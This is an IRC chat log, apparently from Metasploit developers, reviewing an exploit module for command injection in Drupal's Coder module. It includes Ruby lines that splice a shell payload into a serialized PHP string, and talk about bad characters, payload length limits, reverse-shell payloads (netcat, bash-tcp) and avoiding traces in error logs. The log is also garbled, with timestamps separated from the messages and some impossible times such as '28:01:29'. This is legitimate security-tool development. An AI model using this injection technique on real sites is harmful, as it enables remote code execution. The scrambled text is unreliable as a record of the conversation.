[22:05:33] <mdisec>
[22:05:55] <@wvu>
[22:06:29] <@wvu>
[22:06:34] <@wvu>
[22:06:36] <mdisec>
[22:06:49] <mdisec>
[22:07:06] <@wvu>
[22:07:14] <@wvu>
[22:07:29] <@wvu>
[22:07:30] <@wvu>
[22:07:38] <mdisec>
[22:07:49] <@wvu>
[22:08:13] <mdisec>
[22:08:20] <@wvu>
[22:08:34] <@wvu>
[22:08:34] <@wvu>
[22:08:42] <@wvu>
[22:19:33] <@wvu>
[22:19:53] <@wvu>
[22:21:06] <mdisec>
[22:22:12] <mdisec>

between 225 - 250 spaces.

[22:22:30] <mdisec>
[22:23:03] <@wvu>

yeah but there is a plenty of different function call until we reach diff command execution.
baordog: Set USERNAME to something you know? Then set a PASS_FILE?

idk recalling options from memory

mdisec: Right

wvu: I've tried that but it looks like it's trying USERNAME:PASS rather than just pass.

I'm saying the command itself doesn't seem space-restricted

It's all the crap happening before

Yeah exactly

mdisec: Can we get away with bumping it up a bit?

It's 225 right now

yeah but don't forget "f --help && " prefix and " #" postfix.

how much extra space will save us ?

I'm gonna try to find best number but there should be a reason why | set it 225 which | don't

baordog: [-] 192.168.33.137:23 - TELNET - LOGIN FAILED: root:123456 (Incorrect: )

[] 192.168.33.137:23 - TELNET - LOGIN FAILED: root:12345 (Incorrect: )

Seems to be working fine for me

mdisec: Do you really need to do f --help && ?

Don't really care what the diff command does so long as you can escape it

| got it working with just ;

but using --help directly shows help menu regardless syntax is corret or not.

But when the diff command syntax is not OK, there is gonna be error written into error_log file
| was trying to be moar sneaky”"

p << (payload.encoded.length + 4).to_s

p<<'"f;'

p << payload.encoded

p <<';";s:4:"name";s:4:"test";}}}'

In this case, space limitation will be 250

mdisec: | got away with + 8 while closing stderr, which seems to be what's written to error.log
mdisec: | dropped the space after the ;

Soit's +3

Cool

S0 space gonna be 251

4+rand(4)

It's the +rand(4) that's killing us, | think

This feels too much like shellcoding, lol

Golfing

haha

Trying to get it to work with 2>&-;

using (payload.encoded.length + 3).to_s and Space 251 is working for me right now

It's a start

Kinda have to decide between not crapping to error.log vs. having a reliably encoded payload
/

brb meeting

mdisec: -v; works

Option consistent between Linux and BSD, near as | can tell

nice catch, so space limitation is 250 in this case

does +25 space really affects anything ? | don't know a different cmd payload that requires

I think msf gonna use same perl -e system payload again.
mdisec: perl -e is the chosen encoder due to our BadChars



[22:23:05] <@wvu>
[22:24:30] <mdisec>
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So yeah
or maybe chosen due to 'RequiredCmd' => 'netcat netcat-e' . Should we enabled more cmd

that can works with our space limitation ?

[22:24:45] <@wvu>
[22:24:52] <@wvu>
[22:24:57] <@wvu>
[22:25:09] <mdisec>
[22:25:11] <@wvu>
[22:25:16] <@wvu>
[22:28:36] <mdisec>

does it affects on payload

[22:29:10] <@wvu>
[22:29:18] <@wvu>
[22:29:45] <@wvu>
[22:29:53] <@wvu>
[22:29:53] <@wvu>
[22:29:59] <mdisec>
[22:42:21] <@wvu>
[22:42:33] <@wvu>
[22:42:34] <@wvu>
[22:45:54] <mdisec>
[22:49:28] <@wvu>
[22:49:29] <@wvu>
[22:49:54] <@wvu>
[22:50:07] <@wvu>
[22:50:12] <@wvu>
[22:50:43] <@wvu>
[22:51:45] <mdisec>
to +6

[22:51:54] <@wvu>
[22:52:06] <@wvu>
[22:52:09] <@wvu>
[22:52:15] <@wvu>
[22:52:40] <@wvu>
[22:52:51] <@wvu>
[22:52:57] <@wvu>
[22:53:11] <@wvu>
[22:53:23] <@wvu>
[22:55:25] <mdisec>

That would be a good call

But reverse_netcat is pretty reliable

And pretty short

yeah | think so

The Perl encoder blows it up because of the hex

So you get double the length

Using \x2f as a badchar is a must but dunno \x00 should be blocked as well. Let me check

mdisec: | don't think we'll ever see 0x00 in a cmd/unix payload

So it's fair to remove it

mdisec: | already tried that, though, and it didn't make any difference

Since there were no nulls to begin with

o

yeah agreed

mdisec: So much for stealth

Is sites/all/modules/coder/coder_upgrade/scripts

lol

hahah we can remove them all with another command but it will be there againt
mdisec: If you use ; instead of #

sh: 1: cannot create ../../coder_upgrade/patch/test.patch: Directory nonexistent
Is the patch dir normally autocreated?

| can't see how you'd need 777 unless another user writes

So | chown'd to www-data instead

www-data has +w in that dir

But if you gonna use # instead of ; we will need 2 space before and after # which increase +4

mdisec: Yes :P

Only need one space, technically

But that's an increase, yes

Space before the comment

The issue with ; is that the > /path/to/whatever is run

If the dir exists, the empty file gets created

If the dir doesn't, you error out

And > /path isn't portable and may error out anyway

: > /path is most portable, FWIW

Actually | don't need 777. People may use nginx instead of apache therefore I've used 777 in

PR description just want to make it easier

[22:55:35] <mdisec>
[22:55:40] <@wvu>
[22:56:01] <@wvu>
[22:56:18] <@wvu>
[22:57:41] <@wvu>
[22:58:18] <@wvu>
[22:58:31] <@wvu>
[22:58:36] <mdisec>
[22:58:38] <@wvu>
[22:58:42] <mdisec>
[22:59:01] <mdisec>
[22:59:24] <mdisec>
[22:59:35] <@wvu>
[22:59:48] <@wvu>
[22:59:53] <@wvu>
[23:00:00] <@wvu>
[23:00:16] <@wvu>
[23:00:18] <@wvu>
[23:00:55] <mdisec>

according to the drupal

[28:01:29] <@wvu>
configurable

[23:02:10] <mdisec>
[28:02:31] <mdisec>

chown ww-data is OK

That's fair

mdisec: | appreciate that you reason through every change you make

Saves a lot of hassle in review and testing

Additionally, if you do ; instead of &, you're blocking on the shell for the command line to finish
mdisec: | think we're just splitting hairs at this point :P

After the space restriction is improved, it should be reliable enough

ty, as | said before trying to do my best while I'm learning™

And when an exploit doesn't work, you can always fix it...

hahah

Have you look ad last comment of NickstaDB ?

He says module could be installed different path depends on drupal configuration

Yeah, that's right

| wanted to comment on that, too

But went to con

TARGETURI should be the path to the app, preferably

But we can weasel around that and suggest it's the path to the specific module within the app
I'm fine with that

yeah we are using hard-coded "sites/all/" path right now which is default installation path

Since we require the full path to access the upgrade script, yeah, we should make it

look at my suggestion right before comment that | was pinging you
Shall we go something like "OptString.new('TARGETURI', [true, 'The path of the CODER

module installation', '/site/all)"

[23:02:43] <@wvu>

Ah, that



[28:02:51] <@wvu>
[23:03:08] <@wvu>
[23:03:10] <mdisec>
[28:03:13] <mdisec>
[283:03:21] <mdisec>
[23:03:38] <@wvu>
[28:03:41] <mdisec>
[23:03:42] <mdisec>
[23:03:58] <mdisec>
[23:04:11] <@wvu>
[23:04:16] <@wvu>
[23:04:33] <@wvu>
[283:04:44] <@wvu>
[23:04:47] <@wvu>
[23:04:50] <@wvu>
[283:04:54] <mdisec>
[23:05:07] <@wvu>
[23:05:12] <@wvu>
[28:05:15] <@wvu>
[23:05:16] <@wvu>
[23:05:24] <@wvu>
[28:05:51] <mdisec>
[23:06:20] <@wvu>
[23:09:03] <@wvu>
[28:28:10] <mdisec>
[23:30:55] <mdisec>
; is cause error.log

[23:31:42] <@wvu>
[23:31:47] <@wvu>
[23:32:13] <@wvu>
[28:32:20] <mdisec>
[23:37:03] <@wvu>
[23:37:22] <@wvu>
[23:37:33] <@wvu>
[23:37:45] <@wvu>
[23:38:21] <@wvu>
[23:38:48] <@wvu>
[23:38:52] <@wvu>
[23:39:50] <mdisec>
[23:39:54] <@hdm>
[23:39:55] <mdisec>
[23:40:01] <@wvu>
[28:40:28] <mdisec>
[23:40:53] <@wvu>
[23:40:56] <@wvu>
[23:42:40] <@wvu>
[23:42:52] <@wvu>

What about the path to the app, then?

| installed to /drupal-7.5, directly from the archive
It's up to TARGETURI

cool

again*

mdisec: You're kinda abusing TARGETURI at that point
So you gonna need to set "/drupal-7.5/site/all"
yes

should we use another module param ?

Sounds like a hassle

A lot of people install Durpal directly to the root
So | can understand the reasoning

To use /sites/all in TARGETURI

Drupal

Derp-all

ahah

mdisec: Yeah, I'd say go ahead with the change :)

+ OptString.new( TARGETURI, [true, The target URI of the Drupal installation', '/')

This is kinda a waste, anyway

Just/

Might as well leverage it for something we need

brb

k gonna try to shoehorn base64 into the perl encoder
nvm confusing with ruby :)

back
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now, Are we gonna use # or ; at the end of payload ? # cause one extrace space. Beside that,

mdisec: | would use #

| think we should have enough space

We already cut down on the diff command

U r the boss;), commiting asap

mdisec: I'd add at least cmd_bash/bash-tcp to the list

You might not have one, but you'll usually have the other

In a full-featured system

There are others | like to test

perl python ruby etc.

mdisec: Curious why this is ARCH_CMD unlike your other module

Which you converted to ARCH_PHP with php -r

How can | link github comments here ?

adOnis: its still part of meterpreter core, but only in the win32/win64 versions
I've asked that before :-)

mdisec: Just copy the date-link in the comment
https://github.com/rapid7/metasploit-framework/pull/7115#discussion_r72088047
mdisec: Ah, right, space :)

Thanks for the reminder

mdisec: If you wanna do the TARGETURI change, feel free

I'll merge it shortly.



